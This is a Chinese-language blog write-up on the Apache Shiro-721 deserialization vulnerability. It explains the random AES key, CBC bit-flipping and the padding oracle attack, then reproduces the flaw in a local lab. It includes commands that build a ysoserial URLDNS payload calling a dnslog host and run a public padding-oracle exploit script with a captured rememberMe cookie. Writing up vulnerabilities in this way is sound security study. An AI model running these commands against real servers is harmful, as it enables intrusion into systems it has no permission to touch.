Shiro反序列化漏洞之shiro721(二)
影响版本:
1.2.5 <= Apache Shiro <= 1.4.1
利用条件:
● 开启 rememberMe 功能;
● rememberMe 值使用 AES-CBC 模式解密;
● 能获取到正常 Cookie,即用户正常登录的 Cookie 值;
● 密文可控;
漏洞原理:
shiro在550之后就把固定的硬编码的key变成了随机生成的key
shiro550之前:
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
之后:
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
AesCipherService cipherService = new AesCipherService();
this.cipherService = cipherService;
setCipherKey(cipherService.generateNewKey().getEncoded());
}
所以在shiro721当中用到了一个密码学的思路,叫做Padding Oracle Attack,而要成功利用他还必须满足
● 当爆破的cookie错误的时候,响应包要回显rememberMe=deleteMe字段
● 当正确的时候,服务端返回正常的响应报文内容
那到底什么是Padding Oracle Attack呢?
CBC 字节翻转攻击:
在 CBC 加密模式下,每个明文块在加密前会先与前一个密文块 XOR,然后再进行加密。解密时则反过来:先解密,再与前一个密文块 XOR。由于 XOR 的特性,攻击者如果能修改某一段密文,就能“翻转”解密出来的某些明文字节,实现特定的篡改或注入。
Padding Oracle 攻击:
在一些实现中,服务器会在解密后根据填充是否正确给出不同的错误信息(或响应),这就像一个“判 oracle”。攻击者可以通过不断试探并观察填充是否正确,逐字节推断出明文内容。原理是:根据对密文的微小修改以及服务器返回的结果(正确填充或错误填充),可以推断出每个字节的实际值,从而逐步还原整个明文
参考:https://goodapple.top/archives/217
如果之前没有接触过的话,还是不太容易理解,我个人也没有理解很透彻,但大致意思就是:
在网上找到的大部分文章都是利用Padding Oracle Attack去获取明文,但是在这里,我们需要的是利用一个已知的cookie和利用链去通过Padding Oracle Attack构造恶意的payload,然后再去解密反序列化达到攻击的目的
漏洞复现:
idea打开shiro正常启动(记得更换shiro版本大于1.2.5)

然后bp抓包刷新页面即可获得登陆成功的rememberMe 值

然后用urldns的payload验证漏洞存在
java -jar ysoserial-master-6eca5bc740-1.jar URLDNS "http://5zfnof.dnslog.cn" > payload.class
然后就是用github上的工具进行爆破
https://github.com/3ndz/Shiro-721
python2 exp.py http://192.168.5.3:8081/shiro721_war/account $登陆成功的cookie payload.class
然后把生成的cookie替换原来的remberme之后发包,dns平台就能收到请求
总结:
这个漏洞的利用条件较高,并不算是一个容易利用的漏洞,但是拓展了一条可以打cbc的攻击线

浙公网安备 33010602011771号